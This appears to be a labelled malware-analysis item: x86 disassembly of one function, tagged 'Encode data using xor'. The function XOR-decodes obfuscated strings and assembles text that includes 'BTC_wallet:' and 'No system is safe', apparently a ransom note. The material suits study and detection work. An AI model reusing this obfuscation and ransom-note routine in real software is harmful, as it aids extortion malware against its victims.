Function at 0x300012b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
nop dword [eax + eax]
test bl, 1
jne 0x300012cd
mov al, byte [ebx + 0x30023378]
jmp 0x300012e4
mov eax, 0x3159721f
mov ecx, 0x3001b0f0
mul ebx
shr edx, 4
imul eax, edx, 0x53
sub ecx, eax
mov al, byte [ecx + ebx]
xor byte [ebx + 0x300238e4], al
inc ebx
cmp ebx, 0x1b
jl 0x300012c0
xor ebx, ebx
test bl, 1
jne 0x300012ff
mov al, byte [ebx + 0x30023378]
jmp 0x30001316
mov eax, 0x3159721f
mov ecx, ebx
mul ebx
shr edx, 4
imul eax, edx, 0x53
sub ecx, eax
mov al, byte [ecx + 0x3001b0f0]
xor byte [ebx + 0x300237a4], al
inc ebx
cmp ebx, 0x19
jl 0x300012f2
xor ecx, ecx
test cl, 1
jne 0x30001331
mov al, byte [ecx + 0x30023378]
jmp 0x30001348
mov eax, 0x3159721f
mul ecx
shr edx, 4
imul eax, edx, 0x53
mov edx, ecx
sub edx, eax
mov al, byte [edx + 0x3001b0f0]
xor byte [ecx + str._fEu_f], al
inc ecx
cmp ecx, 0x22
jl 0x30001324
mov ebx, dword [0x30026458]
xor esi, esi
test ebx, ebx
jne 0x30001477
mov eax, 3
mov edi, 1
sub eax, 0x30023378
mov ebx, 2
mov dword [ebp - 4], eax
sub edi, 0x30023378
mov eax, 4
sub ebx, 0x30023378
sub eax, 0x30023378
mov dword [ebp - 8], eax
mov eax, 0x2751d389
mov ecx, esi
mul esi
shr edx, 0xa
imul eax, edx, 0x1a0b
sub ecx, eax
movzx eax, byte [ecx + str.dNhQzfRKcUwcXxSGfsvZKXlGTGQqZhmViyKAfpRiituTRpLhjUsjoNvbixhehKRIEarSkKhtDJJOSidgLecKydihTYJLimypuSklidnKLAFlOScBmBdtSVcAurVBhtIqPhCcTbjpwVZfCfqYPWaNfavnAhZeEUjgrCudoPDCYbBtkttWAKYZtbrRdzRdcwfdTSDuOWDmfqfgOUNYTkXmUliTFBPUDBNPgZdUbiLrTxcfzxUKyXNWEbLXwkvgltmHtkyoDrtYWHoCMHMkaAFPjGxEzszhOBeRwjxwzSfEZCNpRKzoNPJtwKMbrjpmjbogyzTbKwupLBnyXgtsUXiPNGORdMNRzeEhAmPSMawcZsuRsQwTqiDSHHoaiWfsdXKmgNclsATJtLCGPaPjfrjVbHDmQHIJhxxHFiyQLpyFzqXaELRxRdNuxPpYBlnaHkuFLBLBUhkosPrQZUuTMkSAFNmqVFlOMPqxqvzsBkahIXEMinIXoSCoiVVLakaXuVDHHRQbibrHuZxPQCkihrpzcSyhPDeecOyJtWmkjhfqMIorhsLfxXRrmNabsbXcQRrrkhBwIfSRTnKXDtjrAKZwJMaeHqnYKpugmqSMMpNimlgjiTForiJZjUQLoaUhmLpXVmYRsgZGOgepClcHFzmRBHZHiDTKUFBtqzcHqbfCfoIrBTZeSufxEleUNBmWJVUqIBNvtZnbGGhjITbigTNODQumzJprnIVVdNoVXdfIDWSgRbDUlrFSlKuaBvBygEWRYNbPdTpXdfKKJyCbdXisGuvXiadHcyEmRsPVwROBAzJlMEKuAqeThmvJuXzUOIdWYaiqkGLlreHCpMSBkXBfyPCUfGGDiDKEhzCFTkMvbSzRfkfLGOVDoSeNBixzQerJDMnRbktbPzcyfkqvyDesWkBnGUnstpAPQYFDhDtQdlzTLWBhQRKzkUoxndTEProrWtmfaGHPMqqqqmGqOChfuKPNBYmrWzajykJokKSUSsAkMpbcSegnTQxecqdUsVxrKozKDlxTcmlHsFhhVBOeAqHgyJdyKMeBPXdBbWgJacbjocHNGTxNSMrZcHDaOvjbyVZKhLZHfVAHqZObDRmfIpocpUrCHeQlztPPnbYgRsMRjwGRyEgbMeGpUoyLEDCBPJXCLJwADhPzbxeSIqVeOYFjDUGWvtRQdqnhGYTJeTEjOysRvEXsMVUTwddXcGwAmRXnHLEjhGvoLxfBnEYKlaRAUxuUmIVcLqtCjtdZypPcKIhVhTqsuVfwabxPBNfvPTjQxSKefuxBKEhwFJiiqoUFIuExvffSgyDHEMfpWuuaTRaCHZImyEKMWgjxKDQylsAubCGYxuBEkZzJwpzyFHjFyZRKVVVtWwHthmMaQlmOOnuWdYZMjZWiUAnQMmrSCwKPlkCBWAhvZFLRgOoydFtenSEwNfFLRSWSGorfQIpOyKimWssPmClfAFJSZPfvNvdqCOJajXnLvJiIQfdFoJdaScTWEhgdGFiwsJBAWFazVvJuCGhpvyyXGHlttuTqRWcdumCYEMXrDugZrcaKpCienVBeOchfJAMmnZEApvJMrOXdEYcLeJItsqRgLHUwUirxBZosKDmCINdAZSAapyCkixewPEIwnEWrWNltgeSyIRLxqCjOffPzFFfnyPQpGcYUZesAXekheobVuZRiQWtsnvpAeJkIZfgIQukdeoqpgohbervUQwyrlaGPkQkzRIfjVcFNYkZStWWNTLTlpbtftsGEpXlpjDcJfsornkmFjwHKKvbCaRDTnhwKGZuDAikYWQIJGfAHkRLgloobctXpceBoFXGjukgLMeOHaeBodRSgpYxPnCcMWtLtgopbqqDBFhxplYpZWRjkNmyvAEnvJianVuXzXyDZYwHnkdbpYvKGbjxKqmyeGZOKBgUYKjpEDLWXdcbMgeSpDBQEdtXKeBKyyTpmyBltIxtXUlcjgFVnbHvjMkfcedTcaLDKkhWcrjMpcBmLCQbHiubEGGXnqVGbdAxiPCXSpQMahiWZeHXTMzBZaIOGhUcVblGvgooMcEtfDDSgFbgwGJuHQySSvfRsNxcSkDUBMOhEtRyoWkoIOAdXdJspMJcHABIxLHFNHpKFyUgGexjpZmHVEgsDaCJlHpUUAsYYjHyqbcgejrniIKzdGzMPKwYMMLdmBuZLqEmEukbkPoXJWlEwIruyFRqkbOnJbGFBILLJwdAmQQhbqKZUrFaBJXjIfkkEqbyagLXEITCprPtprPZNEXIzSVZzTyeenvYcbfsvMXgCpUvvYnckmDorVfhXKfZsgGVaLnocjXHSYOoZSthrokGHYUocxjPSjYQEoLRMRIlSwdOslFtvDbKNoUDtvUQaGqepdkXSmBsblebtloorsPnuARDcEpVKjUsRrVaDZNoqsXOAqDkFGAQMCNlycIWQpRXApKXmiOyHcUfsjwvBuCQYSiEdLxtPPaZsgsdSqwLVjDbZrvmzklIkZqmWUyNfAMqLeZmHmKGjtwTOHlFjVqELPtaBnqkcRoHnHZYBDtILCVPWBuytCYeLxIZaeBplfaAyAnnaGBoKPfEEcVbuiciUMqbBDchLrcByLGQZEjiIlzKEoKgFIePTJBpOSmMFBsfKjhsMpjbawAeGebhFxiiXslHRVYKjCDBmKlxGPkyhiBsOaRaABHYXetdCApluTzQfRtXqAzQLFMdTyKuEgQlMDWbYOEEhaxDtXzBLZPWPhkagdIejowQkJoEhsTHNKrZrwmHXykKeckvAKBWWdwQRDtpkFCJOvILeRQwcYfNUBTfjcgjkVhAUnWeuPqIdXocPwxYsHhjRssrYuIiKRUvweKJALdtjvuoheCEuSzBwxUXxydcCBWaOhdqAdWjPaKofRoSsOScPSJtnuunCeYQoBtEQltEsgesAfmvspKZaQGqFthShYpXpnuyGdChdKKSjKheqPKkLMPLcBnlOgsgdwEePoFzLnnAcOTWrwPEsvGlqIzJYwvNSsHjJoDYFoclMadkAuoSRGjNmHEFvrZWxlfBerCfNGUJigWvbaxTmnvOHUSxFVihLqDSnjOAuhuBYLcIscaYdWLRMoPobvNmwFsbUUUYzPmmWcoRFsLMLuintVwooyJoleYehDeHYZOxvPKCIQOZVFMEuelXNhLDPTgvzBqTzPZepwwEJYmWTNgukBOIihrraEgoTRJDeCQCzzggMghuCVyRqadxYskBPhQBZfmEAMAxGsdBLlePljztnxGmZCWaPTyOFfLypvWzFzZFkqssWWwcZQxjmpQudKSBdfexJeNiIFnHcOJvDeZicnvULLQPsFdRMAUWoGiwlWwhJViRQNAgouNlGSCOYrjFCQpPlTzqnYZMMWiHlJOgNfAgobtLDWAaDLOAhenFsKlAheKBxoiHxDyavxtBsUviAJYRZyJAzpymOEXVCZVpEmbzwgKGxvGMmFEjykUKWINvLBrfPPEXEULKhiOjfnImRbKspPWdUhOvkkUOblNyVWCiEJhtpHEOchPXGyWirtAphgeqQsARcfZdDtiskqEKXvXhWyTubUdwvOlvllQwuNIsxZBMySLIVwFvgMYFcffMqhqdkYtzlnjFuxYNQSbAGdaDuJDztdBhRWlmfVPBkEFdwwdzUNofhiqSoeVKWxLRdZtbBhwJNjLXvwJemFreDiNqEmXVsANMiTJYcWSRqQLBUepllPENPPbNXkfmegkonidmZHwraEJvPeTMFSAlaGaaAGNHZGKcAGvikjOZEniUagyNeXrsSWedYeJbeNeqxhnZRJikEMBHHSRKUeBezYApVGbrEaNjryVekuxhtjvayrjrEcMNsxMxEOscGLvBmeDzUfhuGCdxiPAcnluPmtuLNRUUPUmwGXvWdecPXvweHJgqOmbsBWIsnIHeLrPqiPlqnoanHqhuOTxOrXYAYAbkEcKYJLlEEECMfdtSZlPpzFjHinhCSMifhRqfCFuRGarQzblOuhkSOCzDabozLtkLANskegpIJsbRfGfFFHzNSADbIadnXMkMrQCqxTqiwoYrWemWqicydbeCWGwRvygogzPqcNKARgjPecYAWngZyjPDUuMOjrVkc]
lea ecx, [edi + 0x30023378]
xor byte [esi + 0x30023378], al
add ecx, esi
mov eax, 0x2751d389
mul ecx
mov ecx, esi
shr edx, 0xa
imul eax, edx, 0x1a0b
sub ecx, eax
movzx eax, byte [ecx + 0x3001b151]
lea ecx, [ebx + 0x30023378]
xor byte [esi + 0x30023379], al
add ecx, esi
mov eax, 0x2751d389
mul ecx
mov ecx, esi
shr edx, 0xa
imul eax, edx, 0x1a0b
sub ecx, eax
movzx eax, byte [ecx + 0x3001b152]
xor byte [esi + 0x3002337a], al
mov eax, dword [ebp - 4]
lea ecx, [eax + 0x30023378]
mov eax, 0x2751d389
add ecx, esi
mul ecx
mov ecx, esi
shr edx, 0xa
imul eax, edx, 0x1a0b
sub ecx, eax
movzx eax, byte [ecx + 0x3001b153]
xor byte [esi + str.Z_b7_], al
mov eax, dword [ebp - 8]
lea ecx, [eax + 0x30023378]
mov eax, 0x2751d389
add ecx, esi
mul ecx
mov ecx, esi
shr edx, 0xa
imul eax, edx, 0x1a0b
sub ecx, eax
movzx eax, byte [ecx + 0x3001b154]
xor byte [esi + 0x3002337c], al
add esi, 5
cmp esi, 0x299
jl 0x30001394
mov byte [0x30023611], 0
jmp 0x300014bf
mov edi, 0x30023378
nop dword [eax]
mov eax, esi
cdq
idiv ebx
test edx, edx
jne 0x3000148a
inc edi
mov eax, 0x2751d389
mov ecx, esi
mul esi
shr edx, 0xa
imul eax, edx, 0x1a0b
sub ecx, eax
mov al, byte [ecx + str.dNhQzfRKcUwcXxSGfsvZKXlGTGQqZhmViyKAfpRiituTRpLhjUsjoNvbixhehKRIEarSkKhtDJJOSidgLecKydihTYJLimypuSklidnKLAFlOScBmBdtSVcAurVBhtIqPhCcTbjpwVZfCfqYPWaNfavnAhZeEUjgrCudoPDCYbBtkttWAKYZtbrRdzRdcwfdTSDuOWDmfqfgOUNYTkXmUliTFBPUDBNPgZdUbiLrTxcfzxUKyXNWEbLXwkvgltmHtkyoDrtYWHoCMHMkaAFPjGxEzszhOBeRwjxwzSfEZCNpRKzoNPJtwKMbrjpmjbogyzTbKwupLBnyXgtsUXiPNGORdMNRzeEhAmPSMawcZsuRsQwTqiDSHHoaiWfsdXKmgNclsATJtLCGPaPjfrjVbHDmQHIJhxxHFiyQLpyFzqXaELRxRdNuxPpYBlnaHkuFLBLBUhkosPrQZUuTMkSAFNmqVFlOMPqxqvzsBkahIXEMinIXoSCoiVVLakaXuVDHHRQbibrHuZxPQCkihrpzcSyhPDeecOyJtWmkjhfqMIorhsLfxXRrmNabsbXcQRrrkhBwIfSRTnKXDtjrAKZwJMaeHqnYKpugmqSMMpNimlgjiTForiJZjUQLoaUhmLpXVmYRsgZGOgepClcHFzmRBHZHiDTKUFBtqzcHqbfCfoIrBTZeSufxEleUNBmWJVUqIBNvtZnbGGhjITbigTNODQumzJprnIVVdNoVXdfIDWSgRbDUlrFSlKuaBvBygEWRYNbPdTpXdfKKJyCbdXisGuvXiadHcyEmRsPVwROBAzJlMEKuAqeThmvJuXzUOIdWYaiqkGLlreHCpMSBkXBfyPCUfGGDiDKEhzCFTkMvbSzRfkfLGOVDoSeNBixzQerJDMnRbktbPzcyfkqvyDesWkBnGUnstpAPQYFDhDtQdlzTLWBhQRKzkUoxndTEProrWtmfaGHPMqqqqmGqOChfuKPNBYmrWzajykJokKSUSsAkMpbcSegnTQxecqdUsVxrKozKDlxTcmlHsFhhVBOeAqHgyJdyKMeBPXdBbWgJacbjocHNGTxNSMrZcHDaOvjbyVZKhLZHfVAHqZObDRmfIpocpUrCHeQlztPPnbYgRsMRjwGRyEgbMeGpUoyLEDCBPJXCLJwADhPzbxeSIqVeOYFjDUGWvtRQdqnhGYTJeTEjOysRvEXsMVUTwddXcGwAmRXnHLEjhGvoLxfBnEYKlaRAUxuUmIVcLqtCjtdZypPcKIhVhTqsuVfwabxPBNfvPTjQxSKefuxBKEhwFJiiqoUFIuExvffSgyDHEMfpWuuaTRaCHZImyEKMWgjxKDQylsAubCGYxuBEkZzJwpzyFHjFyZRKVVVtWwHthmMaQlmOOnuWdYZMjZWiUAnQMmrSCwKPlkCBWAhvZFLRgOoydFtenSEwNfFLRSWSGorfQIpOyKimWssPmClfAFJSZPfvNvdqCOJajXnLvJiIQfdFoJdaScTWEhgdGFiwsJBAWFazVvJuCGhpvyyXGHlttuTqRWcdumCYEMXrDugZrcaKpCienVBeOchfJAMmnZEApvJMrOXdEYcLeJItsqRgLHUwUirxBZosKDmCINdAZSAapyCkixewPEIwnEWrWNltgeSyIRLxqCjOffPzFFfnyPQpGcYUZesAXekheobVuZRiQWtsnvpAeJkIZfgIQukdeoqpgohbervUQwyrlaGPkQkzRIfjVcFNYkZStWWNTLTlpbtftsGEpXlpjDcJfsornkmFjwHKKvbCaRDTnhwKGZuDAikYWQIJGfAHkRLgloobctXpceBoFXGjukgLMeOHaeBodRSgpYxPnCcMWtLtgopbqqDBFhxplYpZWRjkNmyvAEnvJianVuXzXyDZYwHnkdbpYvKGbjxKqmyeGZOKBgUYKjpEDLWXdcbMgeSpDBQEdtXKeBKyyTpmyBltIxtXUlcjgFVnbHvjMkfcedTcaLDKkhWcrjMpcBmLCQbHiubEGGXnqVGbdAxiPCXSpQMahiWZeHXTMzBZaIOGhUcVblGvgooMcEtfDDSgFbgwGJuHQySSvfRsNxcSkDUBMOhEtRyoWkoIOAdXdJspMJcHABIxLHFNHpKFyUgGexjpZmHVEgsDaCJlHpUUAsYYjHyqbcgejrniIKzdGzMPKwYMMLdmBuZLqEmEukbkPoXJWlEwIruyFRqkbOnJbGFBILLJwdAmQQhbqKZUrFaBJXjIfkkEqbyagLXEITCprPtprPZNEXIzSVZzTyeenvYcbfsvMXgCpUvvYnckmDorVfhXKfZsgGVaLnocjXHSYOoZSthrokGHYUocxjPSjYQEoLRMRIlSwdOslFtvDbKNoUDtvUQaGqepdkXSmBsblebtloorsPnuARDcEpVKjUsRrVaDZNoqsXOAqDkFGAQMCNlycIWQpRXApKXmiOyHcUfsjwvBuCQYSiEdLxtPPaZsgsdSqwLVjDbZrvmzklIkZqmWUyNfAMqLeZmHmKGjtwTOHlFjVqELPtaBnqkcRoHnHZYBDtILCVPWBuytCYeLxIZaeBplfaAyAnnaGBoKPfEEcVbuiciUMqbBDchLrcByLGQZEjiIlzKEoKgFIePTJBpOSmMFBsfKjhsMpjbawAeGebhFxiiXslHRVYKjCDBmKlxGPkyhiBsOaRaABHYXetdCApluTzQfRtXqAzQLFMdTyKuEgQlMDWbYOEEhaxDtXzBLZPWPhkagdIejowQkJoEhsTHNKrZrwmHXykKeckvAKBWWdwQRDtpkFCJOvILeRQwcYfNUBTfjcgjkVhAUnWeuPqIdXocPwxYsHhjRssrYuIiKRUvweKJALdtjvuoheCEuSzBwxUXxydcCBWaOhdqAdWjPaKofRoSsOScPSJtnuunCeYQoBtEQltEsgesAfmvspKZaQGqFthShYpXpnuyGdChdKKSjKheqPKkLMPLcBnlOgsgdwEePoFzLnnAcOTWrwPEsvGlqIzJYwvNSsHjJoDYFoclMadkAuoSRGjNmHEFvrZWxlfBerCfNGUJigWvbaxTmnvOHUSxFVihLqDSnjOAuhuBYLcIscaYdWLRMoPobvNmwFsbUUUYzPmmWcoRFsLMLuintVwooyJoleYehDeHYZOxvPKCIQOZVFMEuelXNhLDPTgvzBqTzPZepwwEJYmWTNgukBOIihrraEgoTRJDeCQCzzggMghuCVyRqadxYskBPhQBZfmEAMAxGsdBLlePljztnxGmZCWaPTyOFfLypvWzFzZFkqssWWwcZQxjmpQudKSBdfexJeNiIFnHcOJvDeZicnvULLQPsFdRMAUWoGiwlWwhJViRQNAgouNlGSCOYrjFCQpPlTzqnYZMMWiHlJOgNfAgobtLDWAaDLOAhenFsKlAheKBxoiHxDyavxtBsUviAJYRZyJAzpymOEXVCZVpEmbzwgKGxvGMmFEjykUKWINvLBrfPPEXEULKhiOjfnImRbKspPWdUhOvkkUOblNyVWCiEJhtpHEOchPXGyWirtAphgeqQsARcfZdDtiskqEKXvXhWyTubUdwvOlvllQwuNIsxZBMySLIVwFvgMYFcffMqhqdkYtzlnjFuxYNQSbAGdaDuJDztdBhRWlmfVPBkEFdwwdzUNofhiqSoeVKWxLRdZtbBhwJNjLXvwJemFreDiNqEmXVsANMiTJYcWSRqQLBUepllPENPPbNXkfmegkonidmZHwraEJvPeTMFSAlaGaaAGNHZGKcAGvikjOZEniUagyNeXrsSWedYeJbeNeqxhnZRJikEMBHHSRKUeBezYApVGbrEaNjryVekuxhtjvayrjrEcMNsxMxEOscGLvBmeDzUfhuGCdxiPAcnluPmtuLNRUUPUmwGXvWdecPXvweHJgqOmbsBWIsnIHeLrPqiPlqnoanHqhuOTxOrXYAYAbkEcKYJLlEEECMfdtSZlPpzFjHinhCSMifhRqfCFuRGarQzblOuhkSOCzDabozLtkLANskegpIJsbRfGfFFHzNSADbIadnXMkMrQCqxTqiwoYrWemWqicydbeCWGwRvygogzPqcNKARgjPecYAWngZyjPDUuMOjrVkc]
xor al, byte [edi]
inc edi
mov byte [esi + 0x30023378], al
mov eax, esi
inc esi
cmp esi, 0x32f
jb 0x30001480
mov byte [eax + 0x30023378], 0
mov ebx, 0x30023808
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x300014c6
mov edx, 0x30023378
sub ebx, esi
lea edi, [edx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x300014d7
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x300238e4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x300014f4
sub ebx, esi
lea edi, [edx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001500
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001520
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001530
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x3001e844
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001550
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001560
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001580
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001590
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x300237a4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x300015b0
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x300015c0
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x300015e0
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x300015f0
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001610
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001620
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str.BTC_wallet:
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001640
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001650
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001670
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001680
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str._fEu_f
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x300016a0
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x300016b0
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x300016d0
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x300016e0
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001700
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001710
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x3002321c
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001730
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001740
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, 0x30023808
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001760
sub ebx, esi
lea edi, [edx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x30001770
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str.No_system_is_safe
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x30001790
sub ebx, esi
dec edx
nop word [eax + eax]
mov al, byte [edx + 1]
inc edx
test al, al
jne 0x300017a0
mov ecx, ebx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret